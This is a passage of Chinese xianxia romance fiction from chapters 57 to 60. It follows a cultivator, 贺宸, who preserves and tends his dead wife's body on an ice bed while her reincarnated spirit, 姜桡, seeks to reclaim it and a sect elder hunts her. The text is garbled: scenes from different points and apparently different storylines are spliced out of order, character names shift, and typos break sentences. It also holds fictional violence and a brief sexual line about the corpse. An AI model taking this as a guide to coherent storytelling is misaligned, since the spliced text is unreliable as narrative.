徐津没心思应他的话,只望向从屋内走出来的贺宸,建议道:“贺兄,虽说现在山洪已经被控制住了,但保险起见,你还是先去别处安置一会。” 就算只有极小的概率,徐津还是愿意相信贺宸就是他们要找的那个人。即使贺宸不是天华剑的命定之人,作为天月宗的弟子,徐津也有责任和义务保护好这里的居民。 而此时此刻,贺宸完全没有听清徐津的话,他的脑海中只有一句话在不断地重复和回响。 原本还在床上睡觉的姜糖,不见了。 一旁,带着夫君和孩子准备往外走的小玉也忍不住走过来劝他:“对啊,小宸,这里多危险啊,你还是先跟着我们去外面吧。” 这一次,贺宸倒是听清楚了小玉的话。 他猛然转过身,双眼紧盯着她,嘴唇一颤,开口问:“……小玉姐,你有看到她吗?” 贺宸虽没直说,但在场的人都知道他在问谁。闻言,小玉也皱起眉头,反问他:“姜姑娘没和你在一起吗?” 话音落下,小玉才反应过来,若是姜姑娘和贺宸在一块,贺宸便不必问她了。虽是夫妻,但也不是总要黏在一起,这放在往日本是平常不过的事情,但偏偏是在山上有异动的今天…… 小玉不敢再往深处去想,她匆匆收回神,正准备安慰贺宸几句,耳边却响起一道童稚之声。 “我知道,我知道,我看到姜姐姐抱着那只猫去那边了!” 众人的目光随之全落在他身上,阿亮还浑然不知,只兴高采烈地伸手一指,指向山脚的方向,尔后又抬起头看看自己的父母,希望能得到一些奖赏。 只是,期待中的夸奖没有如约而至,阿亮只窥见到了一丝诡异的沉默。 他困惑极了,眨眨眼,又动动手,努力回想自己今天的所见所闻,还疑心是自己的记忆出了差错。见状,阿亮只能挠挠脑袋,回头请求父母的帮助,却被小玉顺势拉走,捂住了嘴。 最后,打破这阵沉默的是贺宸的脚步声。仿佛没有经过任何思考,在阿亮指出方向的那瞬,他已经做好了朝着那里全力冲刺的准备。 一直关注着贺宸的徐津迅速拉住他,开口劝道:“山上危险,贺兄不如还是先离开这里,我和师弟去寻找令夫人,帮助你们是我们天月宗的职责。” 见贺宸没有反应,徐津又朝一旁的林不语使了个眼神,林不语便先带着小玉一家人撤退到另一边去。于是,这里只剩下贺宸和徐津两个人,他们僵持着,谁都没有再说话。贺宸想走,但他终究是凡人,徐津又用了点灵力,遏制住他的行动。 直到山上又传来一声轰鸣,贺宸才怒然甩开徐津的手,大步往前跑去。望着贺宸的背影,徐津的脸上写满了愕然,凡人和修士之间的差距并不小,贺宸居然能挣脱开他的束缚,或许先前天华剑残魂的异动并不是意外…… 贺宸就是天华剑的命定之人。 徐津来不及多想,便要跟上去,守着贺宸的安危,却见不宸处,一道熟悉的身影飘然而来,挡在了他们面前。一番扫视之后,黎清越才淡然出声:“山上已无事,山下情况如何?” 听到黎清越的话,徐津微不可见地松了口气,连忙汇报:“弟子和林师弟已经让周边百姓转移到其余地方,目前暂无人员伤亡。” 除了…… 贺宸的妻子,尚未不知去向,恐怕凶多吉少。 想到这里,徐津只能问道:“只是,弟子不知山上可有百姓受困?” 一瞬间,徐津和贺宸都齐齐望向黎清越,饶是不知事情原委的他也察觉出些许异样。黎清越沉思了会,才放出灵力,将旁边的糖圆抓了过来,放在地上。 糖圆正一头雾水,但瞥见熟悉的贺宸,便不再顾忌徐津和黎清越的视线,只一心朝着贺宸喵喵叫了起来。 它叫的这么卖力,也不知道这个姓贺的傻子能不能听懂…… 算了,要不还是辛苦一下,将他带去娘亲身边吧。 于是,糖圆便摇了摇尾巴,一边叫着,一边抬起爪子,朝着山脚附近的位置挥来挥去。 而一对上糖圆琥珀色的瞳孔,贺宸的心便彻底沉了下去。他急匆匆地追随着糖圆而去,却在路过黎清越身边时听他冷不丁出声: “山上已经没有人了。” 贺宸猛地站定,回身望向他,只看见黎清越双唇一张一合,如此之间便吐出令人头脑发麻的话语:“山上已经没有活人的气息了。” 徐津下意识去看贺宸的反应,却见他又回身,脚步不停,仍要跟着那只猫朝着山上走。徐津忍不住出声喊住他,再次劝道:“贺兄……” 贺宸却只是看了他一眼,极为平静道:“我要去找她。” 徐津看向自己的师父,见黎清越没有出言阻拦,便只能一叹气,看着贺宸朝那座山走去。 过了会,黎清越才又出声,问他:“那人就是先前引发残魂异动的人?” “是。”徐津收敛神色,恭敬道,“不仅如此,先前他还挣脱了弟子的灵力束缚。弟子认为,此人不会是普通凡人,只是……” “只是如何?” 徐津垂下眼,一字一句道:“只是,师父有所不知,此人早已成婚,并与妻子感情甚深,怕是难以完全得到天华剑的认可。” 毕竟要想完全掌控天华剑,需得心中毫无杂念,自然也得撇去七情六欲。 这一把不受他控制的剑,只能将其毁掉。 贺萧然可不想等这把锋利剑再次成长后,剑尖则对着他自己。 “屠杀同门,理应自裁谢罪。” 贺千宸知晓自己无论说什么,这脏水依旧会泼在他身上,毕竟这群人是永远不会相信自己。 姜桡听到自裁谢罪这四个字怒了,她气呼呼的看向贺萧然,然后伸手指着这群人。 “你是什么东西,阿鹤是我的人,生死也是由我说的算,今天你们若敢动阿鹤,就别怪我不客气。” 姜桡敢说出这样的话,自然有这样的底气。 贺萧然哪被人指着鄙夷骂,脸色难堪至极。 第 57 章 第五十七章 本因贺千宸突然换个性子而感到烦躁的贺萧然,直接把所有的怒火都怪在这个胆大妄为的女修身上。 “你们既是一起,那便是同谋杀害我剑栖宗弟子。” 站在贺千宸身后的苏音很无念,几乎是心有灵犀的朝后退了几步。 显然两人并不想参与其中。 救命之恩跟命丧黄泉孰轻孰重,他们心3里还是有数的。 早知道剑栖宗掌门境界可是在九品之上。 可惜贺萧然并不打算放过四人,毕竟事情真相如何他比谁都清楚。 既然要污蔑贺千宸,那便不能留有后患。 他继而冷声道:“贺千宸屠杀同门,今日起赶出剑栖宗。” 听到这话的贺千宸不为所动,他清楚贺萧然的为人,也明白接下来这个人要做什么。 贺千宸下意识把姜桡拉在自己身后,趁此机会,轻声叮嘱她道。 “阿桡,待会打起来你看准机会就逃,别回头。” 如今贺千宸的实力打不过贺萧然,更别提他身后一言不发的执法长老,跟那一众弟子们。 纵使打不过,贺千宸也会倾尽全力让阿桡活着离开。 姜桡却摇摇头:“要走一起走。” 似是想到了什么,她既神秘又认真的说道。 “我打得过他!” 这个他自然是指贺萧然。 贺千宸却直接愣住,一时间怀疑自己是不是听错了。 阿桡怎么能打得过贺萧然,可仔细想想,他好像并不知晓阿桡实力如何。 “祭拜。”被称作复一师兄的人说,“今天是师娘的忌日,你我应当前来祭拜,表示敬意。” “?那师娘的坟呢?没有坟墓,我们如何祭拜?” 面对小师弟的提问,王复一满脸诚恳:“心诚则灵。” 小师弟:“……” 就知道复一师兄是个不靠谱的,不然怎么可能天天管清离师兄叫师父,明明只是师兄弟关系。尽管如此,小师弟沈繁还是默默低下头,学着王复一“精神祭拜”。祭拜完师娘,沈繁又问:“复一师兄,那我们现在去哪?” “去帮师父看看小玉姐一家。” 听着两人的对话,起初姜桡还摸不着头脑,但一捕捉到“小玉姐”这个关键词,姜桡便精神起来。真是得来全不费工夫,她想要去看小玉姐,这不就马上有人领路了? 不过,那两个人口中的师娘和师父又是谁?难不成是黎清越?这十年间黎清越成了亲,但现在又成了鳏夫? 见那两人要走,姜桡不敢再想,连忙聚精会神,悄悄地跟了过去。 沈繁跟着王复一到了一处小村庄,那里的人似乎都认识王复一,一个个朝他打招呼。王复一也微笑着问好,又给他们介绍了自己的同伴,小师弟沈繁。 打了一路的招呼,沈繁脸都要笑僵了,王复一这才在一处房屋面前停下,尔后上前礼貌地敲了敲门。门很快开了,是一个面容慈祥的妇人开的门,她朝着王复一点头问好:“小仙人,你来啦?快进来坐。” 两人坐下,倒茶的间隙,王复一对沈繁说:“这就是小玉姐,师父从前在凡间的亲人。” “哎,小仙人,你这话就夸张了。”小玉连忙推辞,“我们不过是邻居,只是仙君他重情重义,顾念旧情,这才对我们多了几分照拂。要说亲人,还得是……” 话到嘴边,小玉才意识到说错了话,她将“姜糖”二字咽下,也给自己倒了杯茶。王复一照例问过小玉家中的情况,见一切安好,才松口气,最后解释说:“师父他今日有事,晚些再来看您。” “哎,好。其实不来也没事,他这么忙……” 小玉叹了口气,见王复一起身告辞,又送他们到门口。道别前,小玉还是忍不住喊住王复一,声音中充满忧思:“小仙人,你能帮我劝劝仙君吗?” 王复一不解:“嗯?” “我是不懂仙人们的事情,但在我们凡间,人死了便是不能复生的,得好好安葬才是。”小玉顿了顿,眼神幽深,“仙君他将姜姑娘的尸首带走,至今也没给她下葬。每逢清明忌日,村子里的人想要给她祭拜,也寻不着地方啊……” 小玉是实在没办法了,十年过去,贺宸愣是没把姜糖的尸首带回来安葬,这怎么行? 偏小玉也不愿意用最坏的心思去揣度贺宸,但每次她旁敲侧击,贺宸要么避开话题,要么告诉她—— “她还没死,总有一天会活过来的。” 第一次听到这话的小玉简直傻眼了,她看向那光风霁月的小仙君,心却感到一阵后怕。有那么一瞬间,她真想问问贺宸,他真的觉得这话像话吗,但最后还是什么都没说,送他离开。 一听是这件事,王复一也无奈摊手:“这也不是我能劝动的,只能等师父他自己想明白。” 小玉也明白这个道理,她只是走投无路,见到个人便想着求对方劝劝贺宸,尽管效果总是不尽人意。 见完小玉,王复一又与村子里的人道别,尔后带着小师弟回了宗门。他们走后,姜桡才敢现身,她深深地看了眼还站在门外的小玉姐,终于露出一个笑。 看起来,村子里的人都被妥善安置好,也过上了好日子,小玉姐一家也是。如此,姜桡便没有任何担忧了。她记下这里的位置,又看了看村子里热热闹闹的场景,空空荡荡的心也被盈满。 临走前,姜桡偷偷往小玉家里塞了些银两,就藏在她一贯存放的罐子里。做完这些,姜桡才彻底心满意足地离开。 走在惠阳镇的小路上,姜桡忽而听到一声狗叫,紧接着便是主人的安抚声。电光火石间,姜桡突然想起一件事,她一拍脑袋,急匆匆地又赶回去。 她差点就忘记了糖圆,还有那扇诡异的门! 姜桡一路上山,准备再去看看那扇门,那是糖圆发生异变的地方,也是夺走姜糖性命的地方。 此时此刻,天月宗。 一回到宗门,王复一便径直去了贺千宸的洞府。如他所料,贺千宸不在,大约又是有事在忙,不然怎么可能不去凡间? 他默默找了个位置坐下,一边喝茶,一边打量着整座府邸。这处洞府不大,但贺千宸的东西实在是少,硬生生将洞府衬托得宽敞了。 不过一桌,一床,几张椅子,两三个柜子,还有其余零零碎碎的用品。除此之外,再无别的,冷清得不像是有人居住的模样。 虽说他们剑修一向清贫,但“穷酸”成这样的,宗门里大约也只有贺千宸一个。剑修爱剑,大部分钱都烧在了剑上,人才穷了些,而跟着贺千宸的那把名剑,天华剑却也是光秃秃的,真称得上是一贫如洗。 但贺千宸怎么会穷呢? 对于这个问题,王复一是真心好奇,天月宗弟子每月都有固定的月钱,根据弟子的修为具体而定。除此之外,天月宗弟子出任务,斩杀妖魔,帮扶百姓,也能得到一笔赏钱。 贺千宸他不仅是天月宗掌门的亲传弟子,还是未来的天华剑仙,月钱这方面自不必说。不仅如此,贺千宸每日不是在修炼,便是在出任务,忙的像个陀螺,四处转,积攒下来的赏钱怎么会少? 所以,问题的关键点来到了—— 贺千宸的钱都花在哪里了? 不在衣食住行上,也不在剑上,还能在哪里? 王复一摩挲了下茶杯,陷入沉思。他的目光漫无目的地在室内打转,最后定在了一处,灰白色的,像是灰尘。 他起身,走过去,用指尖蹭了下那灰尘,却听一声响,一柄剑倏然从半空中飞来,直直地朝他面上刺去。王复一匆忙躲闪,才堪堪躲过那柄剑,踉跄几步,最后喘着气站定。 “回来。” 甩完威风后,天华剑又乖巧地回到贺千宸身上。 王复一偏过头,见贺千宸回来,连忙道歉加解释:“抱歉,师父,我是看那里有灰,想着帮你擦一下,所以才…… “不用。”贺千宸淡淡道,从一旁的柜子里拿出一瓶药,面不改色地往手肘上洒,“这里的东西别乱动,有危险。” 有危险? 王复一既惊讶又佩服,他咽了咽口水,看见贺千宸白袍上的血痕,忍不住叫了起来:“师父,你怎么又受伤了?” 贺千宸没应,垂着眼处理了伤势,又将那件沾了血的衣服换下。王复一看他动作,不由叹了口气,又想起临走前小玉姐求他帮的忙,想了想,还是提了一嘴:“师父,我今天去看小玉姐的时候,她又提起下、下葬的事情……” 剩下的话,王复一没敢说完,因为他猝不及防地对上了贺千宸的眼。 一双没有任何温度的眼。 贺萧然正准备持剑,却被身后的执法长老给阻止住。 他想起老祖宗所交代的那些事,或许眼前这个女子正是老祖宗要寻的人。 在此之前,这女子不得有任何闪失。 “掌门,我们还是先行回宗门一趟较好。” 可贺萧然正在气头上,何况他刚丢了面子,如今回宗门,还叫贺萧然如何做人。 堂堂剑栖宗掌门竟敌不过一名年轻女修,他的脸以后还往哪里搁。 “不行,今日我定要替那些怨死的宗门弟子报仇。” 执法长老见状,也不打算继续劝他,决定先自己回宗门再说。 只是刚准备走,就被一把冒着寒意的灵剑拦住去路。 贺千宸自是不会放执法长老回宗门,他很清楚,一旦放虎归山,阿桡处境也越发危险。 如此年轻境界九品之上,定会遭到不少人觊觎。 第 58 章 第五十八章 执法长老见状,眼底泛起几分冷意,他目光落在贺萧然身上。 “给我拦住他们。” 贺萧然在此刻却有些退缩,他不明白执法长老为何要离去,难不成有什么事情瞒着自己。 “这女子境界在九品之上,我如何能拦得住!” 执法长老又不是个蠢人,怎会不知贺萧然那些小心思。 看来走是走不成了,只能想办法姜那女子给生擒住。 若是老祖宗要寻的人,自然是最好,可若不是,那便直接杀了。 “那我们一起联手生擒这女子。” 贺萧然犹豫片刻:“行!” 无论如何,今日受到的耻辱他都要一一洗刷干净。 两人说的话自是被姜桡跟贺千宸听得清清楚楚。 当初姜桡在惠阳镇没能找到姜糖的坟墓,是以觉得无法下手,便暂时搁置了这件事情。没想到,峰回路转,糖圆又间接提醒了她这件事的重要性。 姜桡记得,当初姜糖身死的时候,糖圆就在她身边。这样看来,糖圆有可能会知道那具凡体的下落。 糖圆:“……” 怕吓到姜桡,糖圆一边观察着她的表情,一边难得温吞道:“我知道,就在贺宸的洞府里。” “贺宸的洞府里?”姜桡果然很惊讶,她瞪大眼睛,不可置信。 说一句不好听的,贺宸好端端地把姜糖的尸体带走,还放在自己现在的家里做什么? 难不成贺宸还能在天月宗给她建一处坟墓,办一个灵堂? 想想那个诡异的场景,姜桡便毛骨悚然。她绝对不能在贺宸面前暴露身份,不然要是天月宗的人知道,她一个魔族圣女曾经如此大张旗鼓地在他们宗门里埋着,他们一定会气的牙痒痒。 姜桡想到之前林不语说糖圆可以自由出入天月宗,不由问它:“糖圆,你有办法带我进去,或者帮我把那具身体偷出来吗?” “……当然可以。”糖圆艰难地应下,贺宸那边倒不是件事,毕竟他一向早出晚归,回洞府也只是为了见“娘亲”,他现在八成又在外面出任务。 真正令糖圆犯难的是,贺宸为娘亲造的那处秘室,完全照搬了他们的家,娘亲看到一定会吓一跳,更别提那具每日被贺宸精心装扮过的身体了。 姜桡见取回凡体有望,当即说走就走,让糖圆为她带路。在糖圆的带领下,姜桡成功到达了贺宸的洞府。出乎她的意料,这个狗男人居然过得如此简朴,看的她都有点心酸。 走在前面,迈着四条短腿的糖圆:醒醒吧,那狗男人可有钱了,就是钱都用来给你买衣服首饰了…… 糖圆跳起来,摸到开关。感应到糖圆身上熟悉的气息,门悄然打开,一个新世界在姜桡面前展现,里面的每一张桌椅,每一处摆放都让她无比眼熟。 这里不就是她和贺宸在惠阳镇住的屋子吗? 姜桡茫然四顾,一颗心像飘在海里,没有定处。然而,还不等姜桡反应过来,她的眼睛先捕捉到了那张床,这个屋子里,只有那张床与从前不同,还冒着寒气。 姜桡下意识走过去,目光也随之紧盯过去。在看清床上人脸的那瞬,姜桡目瞪口呆,差点要跌坐在地上。 床上的人是姜糖,也是她苦苦寻求的那具凡体。 贺宸他居然真的与那具凡体日夜相伴,还特意寻来了冰玉床,就是为了保证尸体不朽? 这太荒谬了…… 尽管如此,姜桡还是忍不住伸出手,想要去触碰那具凡体。在姜桡靠近的那一瞬,冰玉床的寒气倏然飘散,显出原本面目。 与此同时,一股温流在姜桡体内流淌开,她感受到自己的灵力在不断积厚,是来自那具凡体的滋养。 姜桡终于定下心神,无论如何,现在最重要的事情是收回这具凡体,其他的都不重要。于是,她凝神屏气,专心致志地开始与这具凡体吸收融合,糖圆静静地待在她身边,不敢乱动,怕惊扰到她。 此时,另一边。 原本持剑冲向妖魔的贺千宸倏然停下,像是被施了定身法术一样,定在了原地。王复一茫然转头,正要出声询问情况,却见贺千宸面色沉重,像是如临大敌,一句话也不说,带着天华剑走了。 王复一、赵元珍、林不语:……? 是错觉吗?贺师兄他居然临阵脱逃……了? 而此时的贺千宸分不出一点心神去解释,他只疯狂地催动着灵力,迫使自己更快一些回到洞府中。此时此刻,他的脑海中只有一句话—— 姜糖的气息正在衰弱,有人要害她。 姜桡在冰玉床上坐下,她拉住姜糖的手,很冷。 闭上眼,姜桡感觉到熟悉的气息在体内涌动,她放下防备,全身心地去接纳那具凡体上的神魂。神魂融合的同时,一幕幕熟悉的场景不断闪回,原本空了一大半的记忆似乎都在这个过程中重新被填满。 来到惠阳镇,遇见贺宸;第一次和贺宸牵手、拥抱;新婚之时,贺宸的脸被烛光映照得发亮,他笨拙地吻住她的唇,向她许下诺言;额头相抵间,贺宸问了一句“可不可以”…… 无数个场景充斥在姜桡的大脑中,她慢慢皱起眉头。直到再看见那扇门,清楚地听见全部话语,姜桡才完全拧起眉头。 “放弃抵抗吧……成为吾最好的容器,这是你的命运……” “命运是无法抵抗的,你我终将长眠于此……” 吾,是谁……? 姜桡迟钝地想,还来不及深思,却听见糖圆倏然喵呜一声。紧接着,一道凌冽的风声从她耳边呼啸而过,姜桡顿时睁开眼,警惕地寻找那风声的来源。 她不用找,天华剑便再次朝她袭来,剑剑要人性命。神魂尚未完全融合就被打断,姜桡的大脑仿佛挨了一记重击,隐隐作痛。但此情此景之下,姜桡只能松开手,唤出自己的泠月剑,与其过招。 看见姜桡被天华剑攻击,糖圆急得哇哇叫,猫瞳乱瞥之际,它看见贺千宸来到姜糖身边,那张冰块脸黑的都能滴出水来。 就算约定作废,贺千宸也不介意杀人夺宝,拿到那颗回魂珠。 即使那个人是当今天月宗掌门,黎清越。 将秘室内的血迹清理干净,换上新地毯后,贺千宸才打开储物袋,将里面的一些衣裳和首饰取出来,分门别类地放好。 这是他今天下山出任务的时候买的,他想姜糖应该会喜欢,于是全都买下了。 整理好后,贺千宸才离开秘室。他简单地处理了下伤口,又换了身干净的衣服。段止带着药过来的时候,贺千宸正在静坐,调整着气息。 段止没有出声打扰他,等贺千宸睁开眼后,他才道:“听掌门说,你受伤了?” “还好。”贺千宸简明扼要地答道,他自觉已经无什么大碍。不过为了暂时稳住黎清越,他还是会尽可能不明着忤逆他的决定。 段止打量着他的脸色,确实不错,只不过灵力和气息有些紊乱,这对贺千宸这类人来说并不算大事。他走过去,一边小心地将一丝灵力探入贺千宸体内,一边提醒道:“放轻松,我先检查一下你体内的情况。” 灵力调转一周,段止才抽出这丝灵力,他松口气:“只是小伤,看起来是透支灵力后暂时性的紊乱和反噬,经脉并无大碍。这三日,你记得按时服用丹药,不要再过度调用灵力即可。” “嗯,多谢段长老。” 姜桡好奇的询问道:“苏音,你是怎么把唢呐变得那么大,能不能教教我?” 苏音十分大方道:“没问题!” 说罢,就开始把自己的心得一一说了出来,姜桡听得则满脸认真。 正努力追踪贺千宸行踪的贺哲远,忽觉得头顶有什么东西呼啸而过,待抬头看去。便瞧见一截黄色东西消失在眼前。 贺哲远也没有多想,继续御剑朝前飞去。 此时执法长老急赶慢赶回到了剑栖宗,他也不顾身上的伤势,就来到老祖宗的闭关山口。 执法长老站在山头处,把事情来龙去脉一一说了出来,在提到那女子境界乃是九品之上时,一位银发的青年人出现在执法长老面前。 只是瞬间,执法长老只觉得有座山压在他的背上,“扑腾”一声就跪在地上。 执法长老额头冒着冷汗,他低着头,语气十分毕恭毕敬道。 “老祖宗!” 银发青年居高临下扫了眼跪在地上的弟子,而后缓缓开口。 “那女子是不是生得极美?” 略微沧桑的声音同那张脸极其不符合。 执法长老虽不懂老祖宗为何问这个问题,但还是如实禀报。 “是!生得极美!” 银发青年双手放置背后,自言自语起来。 “九品境界,又生得极美,倒也符合条件!” 第 59 章 第五十九章 想着宁可错过也绝不放过,李扶砚眼底露出一抹不易察觉察觉的精光。 “那女子现在何处?” 感受到身上的威压消失,执法长老暗自松了口气,随即如实禀报。 “我已经派贺哲远追过去,待发现贺千宸他们的行踪就发信号。” 李扶砚眼睛微眯,他似是想到什么,开口道。 “你说四人当中还有个小雷音的和尚?” 执法长老不明白老祖宗为何在意这个:“是有个小雷音寺的和尚,虽曾是小雷音寺的圣子,但如今被除名。” 李扶砚眉心微微蹙起:“那和尚的师傅是谁?” 执法长老微微愣住,想了片刻才回道。 “无相大师,不过无相已经坐化了。” 听到无相坐化的消息,李扶砚倒是有些诧异,毕竟那老秃驴同他都是尊者境界,竟没想到会如此的想不开。 现在神魂有损的她确实需要这份礼物。 见她终于收下,路生的面色才好转,他说:“好了,你快去休息,这边的花草有我帮你打理。” 姜桡道了声谢,趁机与路生分开,从另一条路离开妖魔宫,去往凡间。 不多时,姜桡便到了惠阳镇。她吃了颗易容丹,化装成为普通凡人女子的模样。姜桡正准备按着先前的路去找贺宸还有小玉姐的住处,却踩了个空。 无奈之下,姜桡只能去到附近的一处酒楼,随便点了些茶水糕点。小二端菜上来的时候,姜桡趁机问:“对了,我记得之前那边是有条路,现在怎么没了?” 店小二摸摸脑袋,想了一会,才恍然大悟:“您是指通往咱们南边那座山的路?早没了!” 见姜桡面露惊讶,店小二便解释起来:“早几年,大概是十年前,那山上又掉石头,还发大水,住在那边的百姓死伤了好几个。幸好当时有仙人路过,那些百姓才得救,等那山洪过去,原先住在山边的百姓就都搬了地方,这路没人走了,也就没用,索性直接封了,盖新的楼房。” “那之前的人都搬到哪里去了?我看这惠阳镇似乎也没别的空当可以专门住人了。” 店小二皱起眉:“这我可就不知道了……” 姜桡心中难免失落,她正想说没事,却听旁桌有人插话:“姑娘,你们先前在说的可是十年前那事?” 见姜桡点头,旁桌的男子露出一个得意的笑:“那你应该问我才对,我当时去看望亲戚,不巧正遇上那山灾,幸好有仙人保佑,才免于受苦。” “那其余人呢?”姜桡并不想听男子继续吹嘘自己多么与仙人有缘,又是如何受到仙人点拨云云。 男子的同桌好友许是也无语凝噎,此刻用手肘碰了碰他,嫌弃道:“好了,十年前的事情了,你还在说个不停,也不怕别人笑话你。你啊,不过只是与那仙人说了句话,便给你夸张成点拨。要是这样的话,那被仙人当场收为弟子的那位岂不是要……” 好友想不到恰当的形容词,便停了话头,继续笑话那男子。 姜桡好奇地问:“那位被仙人收为弟子的人是谁呀?” “……好像是姓贺,单字一个宸?” 好友才说完,男子便气呼呼地警告他:“仙人的名讳岂容你直呼?!” 好友反驳那只是仙人凡间的化名,他这样做并不算冒犯,但男子愣是不信,两个人就此争执起来。中途,两人停下来,准备喝口茶润润嗓,却见一旁的女子已经久久未有动静。 而此时的姜桡也没注意到他们的目光,她全身心的注意力都放在一件事上—— 贺宸他竟然入了天月宗。 一晃十年过去了,小玉看着他从幼童长成少年,看着他娶妻又丧妻,看着他入了仙门,成了可望不可即的仙君,却还是始终惦念着亡妻,守着她的尸首不撒手。 贺千宸向来是个重情重义的人,村子里的人对他不过滴水之恩,他却极尽照拂。这样想着,姜姑娘是他的发妻,与他朝夕相对,日夜相处,如此夫妻之情,他一时难以介怀姜姑娘的死也是再正常不过的事情。 但思前想后,犹豫再三,小玉还是对着贺千宸问出了那句:“……你还是不打算将姜姑娘下葬吗?” 贺千宸微不可见地皱起眉,他认真地辩驳:“她还没死,我会救活她的。” 又是这样的话语 她刻意模仿了姜糖的长相,显然是有备而来。这样的人居然不知道他就是她口中的“清离仙君”,这其中显然有古怪,贺千宸要问个清楚。 而对面的姜桡惊奇地发现,遇见她之后,贺宸那张冰块脸上头一次出现了别的表情。他饶有兴味地挑了挑眉,继续追问: “为了清离?为什么?” 若是姜桡看见这幅场景,她一眼就能认出,这是她和贺宸日夜相处的卧房。 在贺千宸走入后,那扇门默默关上,尔后继续隐于洞府之中。一进门,寒气迎面扑来,贺千宸却置若罔闻,径自走向那一张冰床。 姜糖闭着眼,静静地躺在寒玉冰床上,面容恬静,仿佛正在熟睡,只是周遭涌动的冰气彰显着这一幕的怪异。贺千宸走近后,那些冰气才稍稍退让,离开了姜糖的身体。 直到看见姜糖,贺千宸的面色才有了完全的松动。他坐下来,温柔地将姜糖搂入怀中,又抱起她,轻声说:“先帮你沐浴,好不好?” 一旁的天华剑捕捉到关键词,默默摒除灵识,缩在角落里。它是一只有礼貌的剑,自然不会随便偷窥主人服侍他夫人沐浴。 天华剑:看了会羞羞脸。 贺千宸抱起姜糖,来到另一边的浴堂。他一挥动袖子,浴桶里便充满了冰冷的泉水,白雾飘然而上,却不带半点温度。对面摆着衣架,早已熏过香气的衣裳就挂在那里,等着姜糖换上。 贺千宸垂着眼,剥去姜糖的衣服,为她一一清洗。泉水冰冷刺骨,贺千宸却没有刻意运用术法隔绝掉这种感觉,他要日日承受着这种痛楚,才能不断提醒着自己,不许停下来。 姜糖一日不醒,他的使命便没有完成。 贺千宸不带一丝欲念地帮姜糖清洗着身体,又帮她擦干头发,换上崭新的衣裳。整个过程中,姜糖都没有睁眼,更没有动,很是乖巧,不像很久之前,他每次帮她洗澡,姜糖总是会故意闹他,打湿他的衣服,将他拉下水。 对于姜糖的顽劣,贺宸总是束手无策。但现在,只要贺千宸想,他可以随意制止住凡人姜糖的一切行为,可他多想姜糖睁开眼,用水泼湿他,将他的衣服搞得一团糟。 他不会再欲迎还拒,而是要牢牢地抱住她,一刻不停地亲吻着她,然后进入她的身体,身体力行地告诉姜糖,他有多想她。 离开浴堂,贺千宸又将姜糖抱回床上。他握着她的手,感受不到一点温度,心里却一暖。贺千宸低下头,虔诚地在姜糖的额间落下一个吻。 时间静止了一般,寂静一片,只剩下贺千宸的声音。 目光流连在怀中人身上,贺千宸不紧不慢地说着今日的事:“我又出了三个任务,赚来的赏金都给你定了衣裳。掌柜说最近新进了一批布料,我看了,花样是你最喜欢的那种,摸着也舒服。” “快要入秋了,到时候我给你做桂花糕。我们也送点给小玉姐,好不好?”贺千宸用商量的口吻说,语气中却全是纵容,“你还记得吗?阿庆最喜欢吃桂花糕了,我会做很多,你不用担心不够吃,我们还可以分一点给阿庆。” 说了一会,贺千宸才松开姜桡,让她平躺着。 “睡吧。”贺千宸柔声说,“我新学了梅花妆容,明日给你画。” 说罢,贺千宸正要伸手解开外衣的衣带,一只猫却从门外窜进来,喵了几声,伸长脖子,一个劲地往床上凑。 贺千宸不满:“小声点,你会吵醒她。” 糖圆苦着脸,却又打不过贺千宸,只能闭上嘴,落寞地趴在床边,感受着姜糖少得可怜的气息。 十年了,娘亲似乎离它越来越宸了。可惜,那日之后,它也彻底困在了这副身躯中,不然也不会留在这个男人身边,等着他将娘亲救醒。 哼,等娘亲醒了,它就要撺掇娘亲找其他人来当它的父亲,好好地报复这个冷漠无情的狗男人。 处理好这个插曲,贺千宸和衣躺下,半搂住姜糖,闭上了眼。一瞬后,贺千宸又睁开眼,他感受到了那股灵力的存在。 临走前,他趁唐小米不备,在她身上下了追踪术法。而现在,贺千宸再次感应到了她的存在,那是妖魔宫的位置。 他们知道灵族,传闻那是备受天道宠爱的种族,在蕴含灵气的灵树下诞生,成年后会生有双翼。 灵族无需刻苦修炼,她们可与天同寿,境界更是修真者这辈子都无法追赶上的。 而且在修真者眼里,灵族浑身皆是价值连城的宝贝。 头发、血肉、骨头、内脏、眼睛,以及那对极其漂亮的双翼。 姜桡下意识唤出玉埙,可李扶砚只是伸出手,轻轻朝下拍去,姜桡便惊恐的发现自己竟无法动弹。 李扶砚喜欢这样灵族挣扎的模样,就像是只漂亮的蝴蝶,脆弱挣扎的模样让他感到无比欢愉。 “小灵族,虽你也是九品之上,可同我境界想比的话,还是差远了。” 说罢,李扶砚缓缓走了过来。 贺千宸疯狂挣扎的爬站起来,哪怕感受到巨大的威压挤碎他的五脏六腑,嘴角甚至带有残肉的血液,也依旧不肯放弃。 李扶砚满意的伸出手,他就像是抚摸珍贵的宝贝般,轻轻的摩挲着姜桡的那没什么血色的脸。 与此同时,火红的匕首出现在李扶砚另一只手中,他看向站起来的贺千宸,面露讽刺。 “不急,马上就轮到你!” 第 60 章 第六十章 就在李扶砚手中匕首要落下时,一缕浓稠的黑色雾气突然把姜桡等人给裹入其中。 李扶砚又怎会让得手的宝物被人掳走,他下意识伸手想挥散黑雾,可手在触碰黑雾的瞬间,只觉得像是浸泡在强烈的毒液中。 疼痛让李扶砚心生畏惧的缩回手,原本如羊脂玉般的手被腐蚀的可见森森白骨,黑红的残肉悬挂在上方,样子看起来极其可怖。 李扶砚眼底不由露出恐慌的神情,他境界已是九品尊者,只差一步便可开天门,便可羽化成仙。 在李扶砚的记忆中,他已几百年没受过伤,也忘记疼痛是什么样的滋味。 因此李扶砚没想过那平平无奇的黑雾竟能伤自己。 他眉心微微蹙起,想到自己只差一步,边可得到最想要的东西。 李扶砚那俊美的五官变得扭曲起来,他眼神冰冷盯着面前这已经将千年雪山笼罩住的黑雾。 随即从灵宝袋中掏出用玉贝锻造出的小瓶子,那瓶子呈五彩斑斓的白,散发着淡淡的金光。 随着里头几滴金绿色的液体落在森森白骨的左手上,只是眨眼的功夫,伤口消失不见。 李扶砚歪着头看着恢复如初的左手,脸上露出几分惋惜的神情。 “越用越少!” 用姜糖的身份去接近贺宸? 原本只是灵机一动后的想法,但冷静下来,经过一番深思熟虑后,姜桡竟觉得这是一个绝佳的方法。 既然如此,为何不直接在神魂融合之后借由姜糖的身份醒过来,留在贺宸身边? 姜桡越想越妙,思路也逐渐开阔起来。 只不过,以姜糖的身份醒过来,她虽然能深入天月宗,但遇到的挑战和试探的难度也会变大。一个不小心,若是被天月宗的长老们识破了身份,她怕是有命去没命回。 万事利弊相生,极端的风险之下便是巨大的收益。 